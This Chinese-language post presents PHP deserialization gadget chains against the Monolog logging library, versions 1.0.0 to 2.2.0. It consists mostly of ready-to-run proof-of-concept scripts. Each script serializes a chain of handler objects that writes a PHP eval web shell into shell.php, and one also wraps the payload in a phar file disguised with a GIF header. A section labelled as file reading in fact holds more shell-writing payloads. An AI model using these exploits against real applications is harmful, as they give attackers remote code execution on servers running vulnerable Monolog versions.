monolog 任意文件写入pop链

任意文件写入1

影响版本

  • monolog v1.20.0-2.2.0

终点方法为

DeduplicationHandler类的appendRecord方法

1
2
3
4
private function appendRecord(array $record): void
{
file_put_contents($this->deduplicationStore, $record['datetime']->getTimestamp() . ':' . $record['level_name'] . ':' . preg_replace('{[\r\n].*}', '', $record['message']) . "\n", FILE_APPEND);
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace Monolog\Handler{
use DateTime;
abstract class AbstractHandler{

}
class FingersCrossedHandler extends AbstractHandler{
protected $passthruLevel;
protected $handler;
protected $buffer;
public function __construct(){
$this->passthruLevel = 1;
$this->handler = new GroupHandler();
$this->buffer = [["level"=>"200000"]];
}
}
class GroupHandler{
protected $processors;
public function __construct(){
$this->processors = [[new DeduplicationHandler(), 'flush']];
}
}
class DeduplicationHandler{
protected $bufferSize = 1;
protected $buffer;
protected $deduplicationLevel = 0;
protected $deduplicationStore;
public function __construct(){
$this->buffer = [["message"=>"1","level_name"=>"<?php @eval(\$_REQUEST['img']);?>","level"=>"200000","datetime"=>new DateTime()]];
$this->deduplicationStore = "shell.php";
}

}
}

namespace{
use Monolog\Handler\FingersCrossedHandler;
$exception = new FingersCrossedHandler();
echo base64_encode(serialize($exception));
unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>

任意文件读取

v1.10.0-2.2.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
namespace Monolog\Handler{
use Monolog\Formatter\JsonFormatter;
abstract class AbstractHandler{
protected $level = 0;
protected $formatter;
}
abstract class AbstractProcessingHandler extends AbstractHandler{
protected $processors;
}
class StreamHandler extends AbstractProcessingHandler{
protected $url;
public function __construct(){
$this->processors = ['array_values'];
$this->formatter = new JsonFormatter();
$this->url = "shell.php";
}
}
class RollbarHandler extends AbstractProcessingHandler{
protected $hasRecords;
protected $rollbarLogger;
protected $rollbarNotifier;
public function __construct(){
$this->hasRecords = true;
$this->rollbarLogger = new BufferHandler();
$this->rollbarNotifier = new BufferHandler();
}
}
class BufferHandler{
protected $handler;
protected $bufferSize;
protected $buffer;
protected $level = null;
protected $initialized = true;
protected $bufferLimit = -1;
protected $processors;

public function __construct(){
$this->bufferSize = 1000;
$this->processors = [[new StreamHandler(), 'handle']];
$this->buffer = [["<?php @eval(\$_REQUEST['img']);?>","level"=>20000000]];
$this->handler = clone $this;
}
}
}
namespace Monolog\Formatter{
class JsonFormatter{
protected $maxNormalizeDepth;
public function __construct(){
$this->maxNormalizeDepth = "-1<?php @eval(\$_REQUEST['img']);?>";
}
}
}

namespace{
use Monolog\Handler\RollbarHandler;
$exception = new RollbarHandler();
echo urlencode(base64_encode(serialize($exception)));
}
?>

v 1.0.0-1.10.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace Monolog\Handler{
use Monolog\Formatter\JsonFormatter;
abstract class AbstractHandler{
protected $level = 0;
protected $formatter;
}
abstract class AbstractProcessingHandler extends AbstractHandler{
protected $processors;
}
class StreamHandler extends AbstractProcessingHandler{
protected $url;
public function __construct(){
$this->processors = ['array_values'];
$this->formatter = new JsonFormatter();
$this->url = "shell.php";
}
}
class NativeMailerHandler {
protected $processors;
public function __construct(){
$this->processors = [[new StreamHandler(), 'handle']];
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize;
protected $buffer;
protected $level;
public function __construct(){
$this->bufferSize = -1;
$this->level = -1;
$this->buffer = [["<?php @eval(\$_REQUEST['img']);?>","level"=>20000000]];
$this->handler = new NativeMailerHandler();
}
}
}
namespace Monolog\Formatter{
class JsonFormatter{
}
}
namespace{
use Monolog\Handler\BufferHandler;
$exception = new BufferHandler();
echo urlencode(base64_encode(serialize($exception)));
}
?>